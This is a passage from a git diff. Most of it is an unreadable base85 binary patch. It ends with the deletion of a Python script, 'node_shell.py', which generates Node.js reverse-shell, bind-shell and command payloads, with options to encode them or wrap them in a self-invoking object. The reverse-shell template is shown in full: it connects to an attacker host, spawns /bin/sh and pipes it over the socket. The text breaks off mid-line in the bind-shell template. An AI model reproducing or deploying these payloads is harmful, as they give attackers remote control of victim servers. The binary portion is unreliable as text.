z78)Kb=F~KBaNR`Cc?VeQCv;rFD3Tu8m#R}qgvpFXaTGJ&X3&$9&NKM6Y@xwI>vA0} zaozvWoF{Oj)X~2=87r^PX7?p)Hb1_lS|V+BG_%b{x`ylUal`OF?j`N~0r^G-o|$}j zMH{1;|Mzq@)_N8Z!Q#0k%lD~yyXoDn`K1dU_3hdjk|h4nD>{7K!S1>ye^&|?Jx@s# z-Y@OFIq~wthlIP`=voJ&2T5_a0S&d1%U^--)dNQe7PxUJiM*Dka2-gvm6v`MmE3*m z07OwzK7GbDX08Ad{CB)VzBc#`q_LWROf;XpX{lI z-*1BT`J;kGt#HrFBSb%$H z7*qd2Foe4xO4-4YHh^WO6*oOBr}qmM{d!GlHuw0vlgE-t(h?17I=IckAi!-=cobxA z*yMQS$c5vvADM@%UBBYtE5!+=f^nEQBnsnGz3Hipg7O=<{72U39~CUlY#Yv|@pxl4 zaJNkX+0MzZ0F<;UYRzP2DeCscY7wT)#+r%--`Yp7^~Nx3Ugrb2oOm;a9{Dax%@lCC z*RV)7*y!dUV!fI3PJt}XL%ID1d_Gw85t*chq;XY86VRUXwJEuC|M=Z4gtRDH{Al!{ z{nYIwu_VzwW!1tRPO#q|Aa8>}cW-%1a7%~ShjGEFIzHy;hGgNmnVmO~QL##2hvIn) zXVD(;zC)ZQ9_Fsxc;pK4luDt%Q1ObHaDp2gWB*rLv86&uRZ@PQK`cFGU}QLFXt3xF z0=ZcxGilMe(S{cix%n048vn|gdj5&$+)p=?ULOGad(u$?ZgvZ2`5v@shpbdS&c0xA zrf0jyrt(#Dt42Yx^`dV z!dxlu07;tiMSgfm6ecyCQQS;5&HXExPkxbsBw}agCdJ&=?@kUDeaSb{cWzrsu&51- z$RV`up-cRvRQs$(P2p~~*X%W$?89#RoV}9!Uzr9D1jOa!N~k((@opQU=4&bPm?oi< z^8X(bq^WK+P8b8|E2iVHK7%^e7cb9o_bxLEhiNwM@i>y2BVh{>*=Zp#I!)!Z^kNSC zMEekG&9~|n^_aRHTqm2}_={&XPtU@%U6<)$1L!!am6Y>mK{J zhc+Hoc?Ssa=gh*yztgFQ;T@g>;_)XAqitU>D>iPliDF$G1BA{QZLFrYQ3vB}-N{`+@6>RnqXzUr3sDiBpO8)khC7l#iT=aqOr7-lI(l5xry~sU-X4sT#-Ie*uqgDOWn8V@|{= z{Df7r2KUbu^Ona-DX^6b5$|~|{+mgtOA}#}2H?j0NPpH@s4o7mS?we9K_E$>nZH0Y zKKK9UjTm}N3;(?ayBh_HSqHaExlcFxL~##FQ$Bw*NlE)zmsZ@|fM!g&wow+vpRfv#EH3$h>W ztbg=j3{-*FXDa2-SWGdYV5;>piLX zp?`gYx-&mF*7e3mdI)XP?`jsbFq1g_H&I(Nf<4K?U9pif?hL20AMeLP^;W?1A2QCs z<%T=*;ESy*?u{D5r{7FU*h@!s^nD}H0Ne$&EP<XT|aa%|nxysD?+*^;??L2<5hgOoxj1a+P zxzNteLWT5-tfH={_%`7^QMrMnI-Tbl=DNFN1BBqMu80HOx>=)*xZB0@a!tU^wN%}V zt}>CiPvg#yb0muVKtiU6H`Mbig^N!YvP` z122bWaf$s5zAZ}~WugAHNtYUcF7YhNi_4&3mA>#bv;_Cyaa9o-HA2)JM;nST!C9x4)JVbbrR)H7}mOr34IHqa(LOPn!&Qhcv{fY>%8oHfJ1Y%pJnst^L;T;VkB9!gbqMD<^(;ix(n{2ddho8>?X}U<3}ipY z3tgAfnBf>lipFZ!4iqAHnc5bbkErw3{c)%+=;>2GH~Di?VNQ#wN=B4O1JvAF1fP5i zi8N{HBTjsgTX+jMXe!d%6qb4)==et%{hs`W$JC3uI1y&jH*aR@uI2fB3XUUzz9zWJ zcjyUx(JAwLQTIgipPgaW^P%x*O!qa3_kCX0aVR%a+TnAvQ0<&#nl!gZk%p9_R%g;1 ziNdC#VNl~wIeg%!JG&2hnz4sof4XhRs`gE-pC6j~^LI)klxlSPQFKa8VKbub9qe7W zVJQpeTbC*KTaE1B2fUIy9*B7_<3=vxIICM`t(WyM))X9X_ zy8`^>Sk}cxy5c9wYG&^p+^TThK26;RvT+IB=^K(9LbaS|g{>@y7AQ|G^|r-9ucp>N zLj_Wh%%)0s%LZ7kP8@N$m~jiUE6W-h8JJ$d4%ER()|9Tk9s1LLOuwPdRU|XqBD;6C z^|{N1ihQ0O;ML>EkZOaMZ4gg8BUuVjoX-kr-X?0uXz`@1l){Ou(`;mH8uUav=?kpX z7VCb^cA#IWcWdqtcL|;aFS73YctOUkb<1W}=Inv2>x1GJri|Rvl7$^x4Clp6x|96w zV$2qCxUV;m*Ou(QjZQHQ$mj#JA^WnTrIKN`3KjF4A2$#cW_=hWKb>NJadLX(z++R7 z{^%q*=DT2CUNR+R;LQ)^oIc4Z7S3~eYczAb2N??_NqCy;z5Bem0{zM(PZ`px?sIBZ zvVKQ&sHmqsnGY8-9|qHbE|at4+b$25v5(pLFO&x+N}wJhlP@DvnJ-wG3xv8pNP0)K zUL%?G=YbTgK`VENbo{KS1q!3E?|}cWH+q5cA_HeC-N4T{M(V?qm1D;*<+1?$&q2aD$33X`>6#D+c0*9SX1LPfoH2&1F~aS{#8&$+}y!7>_3Q4y9N9liR$?!hQXzwLzh>*!mtbQqPhTc*TTJ z-r0e>HhQ3q+|FG3KWC7}pXQ4$e5@eS?~BDLUgsZgP46 z-jI&ljPt5RxPhxH-|su7+8;r3pP&~Bg*~6nx=RaJIu?&-D0{Icr)wW3>Tc|TZ%8{B zNpjE)?vtoN-uoR^y1$u;jFepPB^}Vbh6;{k7WdBI;3SzSe~Yho3$C_@B0DA*+UVja z_FSAHW5@}9C7yeEPUF_FHJdmWi=#)Vf&+aNchW6^S8GoS(*jh^$H1!p)D)1?BPf}3 za8gtN4YO{dPEW$9hke`@e0B_)nVXKzpxEQkqb>%!InBx}kD~1W-9{gfhP~WTbpu>+ zDr;s7jFO)x91Ko@ZM))mMY@*iZOZ8w13$Qr3X;}(7YU(aUhjsQKUThKSLpvNwZTi? zv`(H$Rc4sw?3HM`iw*jA*!?!-M0^GFH36LT2PW$ij(twMxOwy|)PiGO{LI8qfi=Ik zTl$auoK#M3cH0NDat>DcA=M@?X@uR$bMVkJug9H`&pQylcovxwzoAe|$GV{tq1LCK zE2<=;SUFFUYc#0OHZ>4lX$wl-XWCp+l6F%WKR7a=$j?VYw(gt>k9~nWT+3DQ8uvsI zk{Va=T!Qc~zA(Qbqqz{A%vcohsr^8xxcefnRG1aGf$WSY%)hP3&EJD!`mI8DuBL?( zDUGUpJozX;pflb^M(z=?_utqr_duRsb1!K)^JfVV2ZzIpXCR7M)Vix;Al{D+Bok(4 z3ay0FEy~%6j(nLjFK?|TxiyoiV|O@J-r%hXA+0JG&&9#5DOK=$G{ooFiy31$-hoND zY`&#Jui$Rh&G7F>>BCNoJ11_iN*^(`rs0P1JS1b3Aa~e665GB&`Q)tigXyc9Edlz8^1(04o%Hy4J9Om!cyj~w`>3UhzqERcdbQWG%Z zC7dQZNkmOVH*Iyr1vzo8JFJE?JKO^i>j4jTS}hOH6ix!F!r5-!e%lKr(;_AlxQ93W@mR{7#6-d!Ly)~)g_$h8|JKT~>;6Bln^04B@N zjR+I`^#OYox|B)kC0w>PDNJPK-$8#I&bqfc!5_E{=?RG#3Od1l`ZByDw?LMI@Pb$1 zj*MYw&aE4*50mKgJJ}66@m;lH0_%t4Y8OtCYj~|Pf(?66S444V{CIS=OYm780dGx# zjsG7@BTfU_R{3PD+C2DO7=wT5w_;ty99R~wpWd&a$Gw&tm z(RgtGwYU=ZfFWL?dw+srFf%tBS$B?hp!dn${Ar!BW6C*cCt$!KiB z9J&j<_!>^PN7U=GC|2rmaxDUZ$zk7tI=`WQ*1gF*D*QtHtf(;2ds{c^l|WnhKnX)D zV|m`<^%aH-C)sK^oegeZl-I%B)tc3tlY3{u3tSsH1P;XpCxlx>C&`O-xRp_lIX+M%EToNAXJx=^!`kQ)Sl08s`pW~V9xN;J~ zBSJk{nY{~oE_}*K2orTUGgbI2d`eqbCsuM;U6OsiC4uxB?!0FBPnL4m`7OBeywpEa ztH?>$5%1SIk_{iCJII)JqqFEVX?&4u)_@g@SW_mfP=2O{{KY3kK zzh4^MhSkXdd=xt$PNAY0-JF1F0u`UVR zO;{yuz;M?vtL%hXu(APaDvfb)_l7B2sMKU8?m)(fm8)`{e57=!Y6haF`Ib)j26!$r0?)^4>cc|xA9G_v7TvSn8jwrmOUU z&9i2JePs1tf?v)I>u7!JwqR+4$gZ74EniHk-d2#CYibCn(k8t=-*rCDh@ZhtPJ__h zVS4c+6(ZlKd-?|9C7MEQh=U7_$2)X@%6^{2h9{slX*e~)s22rM<3~~}R+HE2M&(ML)lGbsGw436Fa`RONPCRz)i8nOlw*$}0*tC>R$ z-v(>c9CUHJCl47otx@FmLh%%fzI~B*1)rrZYJpgBd&{rn+2URlXHFW)pLD?DAQipf zMMsi}6w4{J0_0_%bcFLP8@@MkAINDeiI>sN4CCe|tcqlawdBT>V`RlIe9qC$Ox)in;d%r$hnLD67DDvaTaCiTr7|v>D9*xbTG)fk%%eE$%QL zsz$t%<;=QCWZXSM%h{FNfrjIyc!zqmB57emP%3U$|3H`WQkzLi?+WImFvCNdc^Bhr zG#j+DqK&9k}TumV|+~=qz zz)TWZRd-R4*+7E4sIEJ6;?2ba9*+|1EO%Etq+7Fl-DH+Dmb4{uElhD*|M_X}P8_!KgbMakYCCe>jl$!lj@W~ z&cVv_aOSo}xjc?FXQB+<2GWqMO*I;TV)g~cv`&jhOzz>#>`oHY!tiQ)$V?m0KHh+@ zr7;|CZo0om+$gvMpKmDLKnr?-4WI6$&LsT%CQ03`>7fqdn@%II(rq!BM33+nlaVi( zcERN1WJUFu7u{nKkc={PKsvg5FL^mt*r|2ctBrBhw$|H$K6K+I<31oALv%k&vpFi0 zIH&9LS*+U}+mR024F_x=_W<`0lHbSR7@x$MK9jTNJJLm#(9^B~Ti67Wz6*EkPwt;t z=O;mvKe*?bvG};&fel{pW?|^`ef~^jH3z7-e}Amp~OtgT+=rz1^DI$hKK)DK3-XtZz#eLNORb z=aS|}|Jt3qFs-cn)+@YM}c4!pAY(JU25$slvDKy7UT|321O<>8h<>QU;tijZn? zmi|CD^n$dA52Puj=U%)Zk_5BUXC{$k5lU`k9cL!1Urx>>=B~DQbuX~$W9@x-2B9R( zZpRzZ77z3$UE_`;nM!le*#h<{t=o_E*G=GP=}3l7K=CNF;wh;=XTMUx{t=X<9aBp; zDs~^|0PY(Z0meO^w8Cl51?=!rByTq3{cd-MaI53@)T6wpEVf%WPw@Z3#cUbOYU92h zRH)^-8LK?g@YiZ@ts^+K307r&o)%2EgYd{7b8JB^ke6iP&ZP5XW}Z1{j$=aH%Q`4Y z-UmN2G~8xoAm7otI-8JuYl{dMz08mDFX}RI+eh60+7vv#w&nSi!fn~n56@w0ILgd& z9wg)j>6nkXGybj6MFes#WJgI{$XO-v>0XH(~(=CTf z?5jw8-Gc8cHOc-o$t71&XWbY2nD<~Lex$%!w+=*rL6qW-42MX$uK{n-n69B6sAx|x z(IH>}<4F#k$!#P*Py^Sf@$B|JOx{OP`kaLWN`|pYz3cBU)rT8fL$$0VJr%&mR0a;q z!nLa40{HUgzX8m}V^CX8Lu;9O2jDswq#fW3hu8^;nv*%A5ofQh9M6TvWAGh&+4JHJ zY;1hzj(6Ll!iC18r2G_B&S*n&&PAowm~5DrZtFIiS|F`;P=_?IZVieK7w6tRX(!$z z9p%tuB~G_EqHyk1TI;w<-hMZ-92dfC?m`Jv*V6?~EL`ZhvVoZtp~_?y*;W646{Vv& z`S>!U!o|L72YTNNFV_MioH~@?tit`lDOO*}G*ZO6M}9`Q@O6iSR2s}c5*qL%yl8H^ z@H(jIdUCVz6f$&o@^4R2eILS|`Ma`_pXKEq?#6tlVfe%5kk9ZFo$K##05*Eo93)~i zLf!HeweB`2a6xo5CLaIxW-t1dg=Ap-2$z|JH}wfQ;#rwg%EEfoBblxjijak9LbiH- z;7vs2{5(!%pA8zwu{g>ySx(7I?np0OMk&?EHn{@7TTINK*R|B+r2pzy0?s)ng zKc7D*kqb?IH&C_jaBKb|vJ(sA+_zY_adf+fK&yQ8jAW|1^p2eVbLa{VGugkuX;v7g zX(OXKZn{a_o!AwB{Av;te&>EAf1K|wXGhMF7xc4*nS2|O*gXz~jFmh+j+(HQ^WQ?3 z3z2Kl0rYbYv##ameSyQEFqt-6(Y@ZriIs(^(n|m752v`CG?;TZaneWnM{3Ny9hrLP z;Kn)3eM&E^Cjh<`F8Z>o7O zJ-rAgv&Ey_fZeyUej`8<4}&U4fF#Gl!?onhils~4%e}sV^y;lS9jB5?d<>sdS-cG0 zNQGPoI%nNaT$=7?I=UGdHt;tu`me-rQ9mT<0qI|h?f%?^T1B{>6O0n1x70^dw}>9S z3S7rZ-tbVI0PH%>_;7*sw!mT1-M$u0Z&~ys;W!wpId}71PtYlr5NY0DKGQ7Ro?MyE ztG_vfwes4Wh58~lDPsJ*lyJd&_7*qi9l%fclwM>Zx2oJ$(vqMuigWG{djJgj4$h@- z@J77W+M&6*z%6PGxC{CylTCM?!BQO3A#@`ZNfG}MXGkDtcUyY9^2`c_=z+pf@17Dh zA+yi{`bjs@OPjbuKT-*PKnIxCaPj>|;gL87cc_xO@io~RuCJcf_`l6a z{lD3*^CKnozyE3dJzGxk?-gsVipXiZYyD4-4EUOIkPKFbyVaw?9p-?3u4Hvz#>4R# z_M#w4Kn;IhH+&q!NXFXe+(j4s6g^oQmp?d9Bsrn=TqEh#ro*fJ3`2Y#J68NLnkHmXxGN?;F$XK$R=b}(LPEH)`g_KjA z{Q>yVbD?&s59Zbm{$f5#rPWMH$sm9!q**Q!Sv{%Gr#{)1wo$47y@J($NV#kg{NW>q zQUSB8){ZHpmeMQ@Ryppdw8iBTwR)I5iV0)_4v)__pg8Qd_*`Ok-18sWoLf%I?~+I! zyrlto%?TRl2?f_KB-rC>JPAv85`&I*6ps5DC`5J$4|Jlq`!0oDXKB@Pdn3R*rBCU3 zmgi&#$XNoscOuWl(oE&X6`jgjSl%?gNJ1{r7Z(%GS`(hO7F9eNyd#F{J%c=_II4C6 zb9Exs`YzS_x$s?tQrDJ=M1~Vo-OJi7QblZ1Zd(dxaSC^)Tl%i-LZxQm#U}MKifK1m zcpoifU@QqE^T-#mx_#@uL@QI|g1Ffxg&dLhOdz2sP$Pu))FD)-QMiX%qV|ZvuQy64 z-R23+Q@l_+9Yq6j7WKnjs@ZGq1oCl(l3JS^j!z;Ft{m&K7CPr>oX`JXduIrnc-pP; ze{K+n=7!uRTPXtBs@o0)}RYA~I!$a)IZ?lwt?Wc)(;>2#zL><1h_VU7*V=Ymaf0ZBRXKuuX@} z^&;{H#C)UIkb~MS64zFdEUzIKv=_6YH@TXcaO%+$UZO7Aw_a+VX-jA5;cNSOX)Y|k zK$3a8W4uP@G%D&PVEg6`IgV_CXU_EShC1rJ_r5>iy9e1H7JVOAO--|>FQ*$&*8ar0 zJO^ET_v1LEAGJPOWD;DAfVGDL_e|7E@PPzT?(V8?nm`G#Oy+qAWWb=@dZyqYTtYBoQv zS)#P2hzgn?s%Ubk$!pdf+#Lf{+cEJpLp8QNJzIGO?4`Z{6Od6hrX}Tw$;t~;q}w^e zTUp0h*;Y?BkVkZ?*C^MT+;g;D+OIj6s3u&FG_jY1+c1W?LVas8z1P*;-jG^1;f>fO z{`3u+&kb?xgRu$9Yie%*rikM#bIb*8Bd%yyP*YoijN`i`j;ClrOTAC!{Nf>s{kX`( z@{ik#fyYE~j=jA_YX2EgTt|;=vnA+)C^pC96g;{hiZ|L9=Kb}6C=Q|`M5!(bqBsrK z&GFvDDN$TOiK|m*T10V=U6Mn+c{SH-R~vS@-QdabQG0^u`w?kQDIz(`&b0y?iAuzB z4K1RH^4}qz2hyCTcz>39;e5*kvj>jQ&t!C1JadxX;+Qwib6~e3JIT(7>N>hpTT_bz z^7n|So{R0-i0|?8)~jDxJSq>+k=!#my#iX+e(^dknig^0W9DM0$-MbpM!)&ptCuB% z@55yEINOm@C|OzNJqnsCtY|lCQ(IAc%JgIM{EX;c<3ZcW#yoUJZ-OTbq`vw!r?a5|y&X4z8wl%lCF$<-uk% z;(d+kyw#2+A6vNs#Cw$O4@pgSWZ~!YM7>RO)HKJ@)@wimO?*x@>$!%Hyrv8G@}i<& z?(8VO>;%!D2J`0R8Y*i~d!3zZE&ARbeeX~chjUo>6*<6M@Lu`fgS@dBAqOPknbWYF zC**)4eQrgsy)>zm9df`Rc1aGH(%&vsFSn@79&&)6&Nhr&BSsE5qN~knjkAp<$??_WafJ+&3Uc;VU9M3`Q;glYFpS5F9~MI00m|z%P0p`GC-5=x0~qUMi^4p zCsg%SVj~RarK%qi|KfVB9UW-9z;I!E|A2 zdyMEmV&*(cZO;?^WhRPi+Kb%QM&tpteMI!n@u#e*?bk%V7sTfW?}do|xV8+X@vP*u zm!Pb@({)W7cJZqAiT?2)6QX|!*T12<;~dEC;@_(ofuN=X;#Bt((VxZnQ=qz+i2fRH zFEr)$?`i&cEZ6-~+n={`+WYiwU|25(CgrQo%28iLw>}d}ZV>%lTxx?Khp4qvy?4Dv z%e*G~y>AbQ{vZ=xQN8ta^ft|IqMYWr%9`Y=Ylf@)w#Ur(P}AOXs{V@T-{Pe4;yFAd z`op|L7^n89i2f|T!Gd0DsOXJ`CbNPaqJMzTZwvyM5&dhNe%qfMUcK`P>4!l8F{1y7 zy~kM>BbV|0)m)t1MFSnUSb5HD1PhR)1rd*Sn+RwtTWH2ykM=4~**1<^m0 z|3!5GwQuMFD(q=_9RF|GPvB#xK$sndNnZNPvOA!NFSLe7)9}8b{pnwf_3Pga?Qf~} zd%XYW;eA8yjG=Gcbx3IAnP~5e@%w=7K~pAX z*KDJ5n2`1J+IRRxsNLxWqqU%dv>as}N%nz@zI1OY z$2OuEM;(xF?Sx*x0mh%e=Xt>M2~d2A%6$Q1UxCvD^yV2l@^iSj5#9FKeU%dVH2 zs*k$fc?6~bCkQX@VbVH87Zry=Ii`oo!H<^6verMf=%0FUC$_n1#zcipDSOxjU>ZUb zt?B|M^b*J0l8$Kmqjf|9I-)3Si0!#BEM&Va&Y0>shyCn>g2tTFf-dL^2IS^#_NOkK z#9ZBobs^S$)ZZ28!mDD@(InKjZgHyzG_@8-y-mSGr!SM-B7ymlGW@9TrdJ;J?Ep>G@TvdZngfBVXh_}R+7Fc2XESdFX_`Qjqy{=xer^hBz`6(j1f6kFEkbxx<;qVz;+aIJy&5m z8YsSfSdOt2i*>w=mfnHAm>72n=jdn#FvPBc6l}weZ7hpvY{N4SU>PTHjB6YRwwwF_ zcF|m{N!;vdc!gr31gB7gRqQ0Lbf(7rCFuT-;r(iQ|HyXSE{U>3i;WF&$JzC`HCJ%z z7PUT*_6pX^P;bEHyNY^?a7vu4VY348*-2t03xj=5_u3;~#`LSUPb&yR6&L$_1M}qL zMV}z7)2{2x!8cc2zPTrU*<$CAjc_q|r4*-U``@gCoWUZm=ppUo3hcYI&GL1fU6<1v z!4c2J5pPj?>YQI!Dvq7u(&c^}aXtw+pR~*Q7Nyh7&}mj^G#)e>V|HvWL;_YP219xT zKUzTZt>D>ga_@R*9;SFK(L1*6J@DPJAxU!2iS{#APzi18k|8A9XD~(KSnuX0oWD6o z|7QHB?}^B*61few9CTgYW3J3;+XZ~YZjj8GVp{2hsn-%rhq0V3c#a<45Zhofzjvn} zi{=W^+<@8W5YM*5ZcaR}VKh9j8Kx@6$$&NmnM21Y(Z^KLF*p=Vr8tsvbJv z%vBC-Q+ME(4$Qu>dJ|Z^1&p3Wm+^T~qRW`P96VkL9Z|3Lq)+%~ygUa5gwvX95y?~$JNPF`s$CcpXs%$x#a>v%HeGl&$_s91)c{tCt z8ScO-H=q==IL*Kg-27GP@ zMW@deiV=BnhN81Vm%WD1^`Ph+qRWQhb7LqvDRkKkd~O~^r-UwBh0krE=ycF!`+WHk z-+sooH~0KC-`|5Sdq~uWi2E3EpW+r|P;|_LTjHJBDmS6QUFdKZ`rL+*vh9K!amCvc zH@FQBcn2cD3~+?^9};BUWBA+?6rEEt?-{xGoZQ&f4VH1fol~=0XatvN1jZb!+$i;;4j4O_AWvJ2+FY@z0#@a^cr~rg z8TPp%Zf}^^wY_&ya&{6Oz<9tCJYW?Lu;WJUnCxxbzwK%{fcLjOGp7AnHqX0tu*ogC zP|WVK`HK7Df$#ToJ8WN6lDm;X?aOm7Y%@)hTX8|197^R|O5yYT>UCB6xD@&mw7pYq zfqk7MYMXr%)7bLL>czWFnzqH}TA zOk7>URxLqVUhRUhh&YudWpQD=l;!OD-ImUda9AIfdgi|7X7%)`ZAn&TL!glh<>5i> zQrz&^-M+VRofMXnz3&WbOqmJ@kR$E1t!A3%ydqU~NEA+~ln3akwv#JM#N~*%qLkB~ zw!Qd>D?f1+mdl}mDl#T^EMr=>%)@ya(>X!kaL_els2K&$w}pB+<%WBH_e!BWMVYWZ zW(Kkgp*$D^VJAIAT`**C7~W=HjZ+w*7;LRlMqfEY&NPBLXqdKv8Zbryv^p3i+t{fZ zhMmCcJG_??gT*g^S6gJYDf+wzeJ)NOvk87<;q7d_sO||cis@?|@cf(#W@z4cG{bXU zqF@0>ZurEuM3kvXJ5Tb+Mfh9xdic5N5qC>%PPNHyc~2W^$5f>?H{8xVN-Qt#T%9L!j`6b9{XHcVd>QkRQWyoZW>U>D7{<9Mt+`50 z>XMTNuD-PECTt(U4*O+bmP=?#hW^f7Mfnm%X#p<3LQlG8r>SX4wpGG#`ED1@?YA=Y zZ79)V#L!O%Rj7|9Y%yW+U^U6^zx7?#VHw&PqVz6J=S{wH#%{g}D>t3UwNb~f(W4_- z(vNJ}-r;BF=7^n0ImJdpO6?Al+gA-rpRsS7QRT8PT%#Ll>N{Ve%S`mOH&SHnn}@(K zF}{3_&Bk@~*R~YbwG>we--S<3i!8Wwhg||-(-i7SLAzHgWWqLBWh{+!E0xqo9yFAa zc6VEt24V_mglt#m%QwkyJ!u?sP{|b@haz9KNnRRKrPkCZn^=rflX6reQ}UN&{!VtS@L$B-Y+N8~oT0ncsnUkJ`()!8itAdwsa-aX;I>G(XHb^H+TxD)sK+C6 z%3MfnWbx;B=j9zIF=sTj6uqsmV#xC45?%A=?E$@=y~((H z;Wdk%Y5B9FE}%&laDkFJl#*#RYAY9mUk-*O{sm(^Ew|R_|Jr0&t4>oq3oByHBdk= z0DIi6`LEAMTY&6$KiZC5SEMt1rJ3C!KWWBKTCuU*kc&^wr6}&hW4*jkyoX%w_n*%6 zm2=4VJs{&)#g4%vrRa|H_&ZGBwGO#O6}S3r9Ew$L({zIt;@$|*L&d>omYZ^%k>Rttd|N%&v$gzrp{QMhv^QX>Eoj?8QQ1}f!)LZ} zTKq25H(L~MY$pJj%)tZc1#SC;3j%Ucg+bj>aCe;ePX2mM1YP|efLS;LKP{*c335sc z7XUSV`AS~Z2>A3IlynshkonKJwF?-SgsS(1TNvTqopaN!@QxpIRu`(%2{Lr+-30AA z0vbJMci|PgmXE2x7wkSg;ESAs9w+>U5s=I|_~q)C02${D)W2X$NCGr(Smoxo2wCDB z9DbDu{O)XCY1ZZVZU@mW*PhBvQD(}(xT%`hsfMz|!|Xd!|27r2vApqg4)%-5GW-+4 zdtr4oCHF-dZ>1rk+(-L%t>V@`LZrL;dnx2(9K`em2-U9|oq3cIwLIT^up7GXZeVnr z*P3-n(LZ$Hfjq)o1X%R7v*lh}OneRRc`T=3md@UKgaX~YabxBfsL(Cc?q2&J4yz;QkFjC{)x^=g?Y;}Se%IoDuT>=t zYkJ|otyUW53_o}i%GmH@RnIJ(cn$`|aA@(t)@S3?toP`ss`g&|PQ-zHMCKz13cE&B zeXVmz;wd^37nk{HBUwqj+z#P3H+A&FR}I=Y7Ob-M z?%oz{3qe{>-&a>;o&8um_`{0ySS~gsJQfzVPV=d3Y?$`7vml3kxIIO2sgHN(-Mjw$ zQa-Y=dd``c)}?UP)sJC3oKe+y>n~GsbEUdV5<}obTRM>oR*AZ<$>4prSS$7(_LupTOGS{xZ@U;`=+d9k- zcySo}?)b9X%wt(+Aw0c~KK|WmLT8_gjK{yubJ6i-74K4-$5PuZ5f24<@iL-M!G0yM2y3S6}6s8f_JgbFaMCeCruX**V#zMIUfMR=Gqo zn9vI>)D2vt3VA@ghvbjYJ7@S>GpPSyN8takLF*sy|C?=A|I2Hu|Nh5+@Y42w{_$Vz zhW;6zEvSDNbhk=BRf(KrP&*f!bRk`Gn)xTkLfPh?-jK!2Kk1WyGA#e3xu?@|PZw}g znSZh-|D?I6dvZ^Y<(^)`jhcVb!98uffcYn*@=qSgKbez%vMm2(9iFr;_w<0%H2>tB zSln?34myVqCMk$}Ix6?{5xB_71vN__*1XFxJZ>KT)+SvV(VkeIThw5T+w3=|9&~Wi zI)-ZUnteE@2XBcdciKPb3^MTcW&S4ve){%jKR+uA+G@gA%t20mbdxM@>n7a%kWRr7 z6PSbttf1i9B<~uxbQm7BK+oQ#Q#U3mj80NOAL-(4oZ)G{Vf%jwy)jMH*AqRWdIPT% zg~_)5x&mJ@1Q|QRzlM7a>sIKXhcK&-_@f-0LmTdB$?WY9jz$TY3@|pef`)Bu>J7Y~ zVSywaLjeZ0fyyyOyY-=0r)^$w_=A&m=Z5abeV9F5xA){o69y*_xpD2-{7?;_zNHcB z+pc#teJf8lQlfvY!k;(9pZB#LaRP(Bn_Ro5Q#l|9TbC9=>q@{W9@ER7(5ao$&z`}h zpVO_ih`b9r+Dkgk3BBfme0^ozCTiFLI%ohTH2&x-GGBt9AIl~-k7JHpk36}Cox}IG zzb9R8{zNKuS&CXiZv3A6UbpcI`b}Cq{fXvs3SyN_$*G9%v|HMM zA#1D3TXkQe76M9p#atXyBu4UBf+!6v99@k_?2o@iR9 z0Mlg3dRctax2Zb~*ryKsQ=jg61cI4?URLzc*YJ2ASlB~iCq&;Eqi;;nTW4H0szg1g z(jzwD_e`(ogZ)R~{vE@21;=;u-UHS@1mo|xsTAx~2DUv5KDv_hAQmtF`iWgw~OYr@K zu5kftbp@usp?^F;y$*ooBjET1TH&#)VxNM&&QL|piRqR&EK{;4a99h_)fL{98#K%V zX7h~4iop}4K;s#?Q%bHor2+Qtpl0@&&l|xB&rmd1u1nfFk9y++%53)1seAy_<4d>u)x!Bh5N&UVsMDFAq2jQp&g{)BQmgDd9ZYe%u#)D zjf;>yQgAw%M{-981l)fldw4)`htKAZ#*4B?1XV79lj0aJ#fcR468(0SUc14RUI+f9 zkE%WbY0N+wEBfkddTI|U-66en2v1+aRoAIAbj~F-r0N%Ix|#2;=&nAi=a!`Ae$aA9 zU#;Z!;g4RbDCKR42^(FmT7_0L!JFN^g4 zv%Tv}V}0_VFZi-(zkH@Mhlvrk;dk(9eXUFDp-1a}q)$Nb zt3MULe=g#mLGU!kZ=8cCV?O^~5d7CheCG)i|8cxOkK*rR_`g2dzhA6>36B35#eXi= zFFxbVjD6Ob`7u+!*1WxgV(in#jj%RuB(-tFy8Aq=(y3@^o!>_8k#>};=Oj+VGNXSoI3pQ2X;7c_e$N4CrY`SW*+iHHP<`YmNVOwtN~r_ zm@ap!*$U6y%Wq*i+~}Q7^{GmA>jFG?J%DX`-p4csQy7-oRVUFP~1^Qu+x@T`74glQ?EaL#bU#&Eti=#H)vA>2z1 zhwv69IEop3L=5)9oPM~(Fb}`cp0E&XLKWs5wkm{ChJP2}l z3Nyp^8^c}HK!?5lEresYn&{)qI>ZTAl3URO-;#%08Ok-aQ&SgkmbbeQJlc9tdf3(Ul z=KfFL*}TT5n%-L8{cFvsIe+({NhNBdpTPbE_9w7Ef&B^WPhfun`xDro!2SgG zC$K+({R!+(V1EMp6WE`?{si_Xus?zQ3G7c`e**gx*q^}u1okJeKY{%T>`!2S0{avA Ir<}n50q%tDnE(I) diff --git a/reverse shells/node_shell.py b/reverse shells/node_shell.py deleted file mode 100644 index 8309a38..0000000 --- a/reverse shells/node_shell.py +++ /dev/null @@ -1,129 +0,0 @@ -#!/usr/bin/python -# Author: Hd7exploit -# hd7exploit.wordpress.com -# Based on https://github.com/evilpacket/node-shells/blob/master/node_revshell.js -import getopt, sys - -def usage(): - print ''' -Usage: %s - -Help: - -c : Run some linux commands (ls,cat...) - -r : Get payload reverse shell - -b : Get payload bind shell - -h : IP address in case of reverse shell - -p : Port - -e : Encode shell - -o : Create a object contain payload with Immediately invoked function expression (IIFE) - ''' % (sys.argv[0]) - -try: - opts, args = getopt.getopt(sys.argv[1:], "c:h:rbp:eo", ["help"]) - if not opts: - usage() - sys.exit() -except getopt.GetoptError: - usage() - sys.exit(2) - -type = host = port = command = "" -encode = False -object = False -for o, a in opts: - if o == "-r": - type = 'REVERSE' - if o == "-b": - type = 'BIND' - if o == "-h": - host = a - if o == "-o": - object = True - if o == "-p": - port = a - if o == "-c": - type = 'COMMAND' - command = a - if o == "-e": - encode = True - if o == "--help": - usage() - sys.exit() - -def get_reverse_shell(): - return ''' - var net = require('net'); - var spawn = require('child_process').spawn; - HOST="%s"; - PORT="%s"; - TIMEOUT="5000"; - if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } - function c(HOST,PORT) { - var client = new net.Socket(); - client.connect(PORT, HOST, function() { - var sh = spawn('/bin/sh',[]); - client.write("Connected!\\n"); - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - sh.on('exit',function(code,signal){ - client.end("Disconnected!\\n"); - }); - }); - client.on('error', function(e) { - setTimeout(c(HOST,PORT), TIMEOUT); - }); - } - c(HOST,PORT); - ''' % (host, port) - -def get_bind_shell(): - return ''' - var net = require('net'); - var spawn = require('child_process').spawn; - PORT="%s"; - if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { 